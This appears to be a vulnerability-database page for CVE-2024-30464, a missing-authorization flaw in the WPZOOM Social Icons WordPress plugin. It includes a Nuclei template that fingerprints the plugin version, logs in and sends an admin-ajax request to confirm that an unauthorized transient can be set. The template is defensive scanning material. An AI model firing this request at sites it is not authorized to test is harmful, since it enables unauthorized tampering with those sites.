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WPZOOM Social Icons Widget <= 4.2.15 - Missing Authorization

CVE-2024-30464
Verified

Description

WPZOOM Social Icons Widget & Block versions up to 4.2.15 contain a missing authorization vulnerability caused by insufficient access control in the widget and block, letting attackers perform unauthorized actions, exploit requires no special conditions.

Severity

Medium

CVSS Score

4.3

Exploit Probability

2%

Affected Product

social-icons-widget-by-wpzoom

Published Date

March 13, 2026

Template Author

pussycat0x

CVE-2024-30464.yaml
id: CVE-2024-30464

info:
  name: WPZOOM Social Icons Widget <= 4.2.15 - Missing Authorization
  author: pussycat0x
  severity: medium
  description: |
    WPZOOM Social Icons Widget & Block versions up to 4.2.15 contain a missing authorization vulnerability caused by insufficient access control in the widget and block, letting attackers perform unauthorized actions, exploit requires no special conditions.
  impact: |
    Attackers can perform unauthorized actions, potentially leading to data tampering or privilege escalation.
  remediation: |
    Update to version 4.2.16 or later.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/social-icons-widget-by-wpzoom/social-icons-widget-block-by-wpzoom-4215-missing-authorization
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 4.3
    cve-id: CVE-2024-30464
    epss-score: 0.01517
    epss-percentile: 0.71483
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 4
    vendor: wpzoom
    product: social-icons-widget-by-wpzoom
    framework: wordpress
    publicwww-query: "/plugins/social-icons-widget-by-wpzoom/"
  tags: cve,cve2024,wordpress,wp,wp-plugin,wpzoom,authenticated

variables:
  rand: "{{rand_int(10000, 99999)}}"

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/social-icons-widget-by-wpzoom/readme.txt"

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "compare_versions(version, '<= 4.2.15')"
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        group: 1
        name: version
        regex:
          - 'Stable tag: ([0-9.]+)'
        internal: true

  - raw:
      - |
        GET /wp-login.php HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to=/wp-admin/&testcookie=1

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-Requested-With: XMLHttpRequest

        action=zoom_ajax_set_pointer_transient&transient_name={{rand}}&lifetime=3600

    redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(body,"Done, transient is set") && contains(body,"success\":true")'
        condition: and
# digest: 4b0a00483046022100a0c96aa66d6e32deb7b393c7a78f27852b103e45ad28d099e6058812781fadfc022100c56ddc839d92f0bf693d2b2bd40e1f57db9e4d54d9c6fe2152a45af6447a185e:922c64590222798bb761d5b6d8e72950
4.3Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
CVE ID:
cve-2024-30464
CWE ID:
cwe-862

References

https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/social-icons-widget-by-wpzoom/social-icons-widget-block-by-wpzoom-4215-missing-authorization

Remediation Steps

Update to version 4.2.16 or later.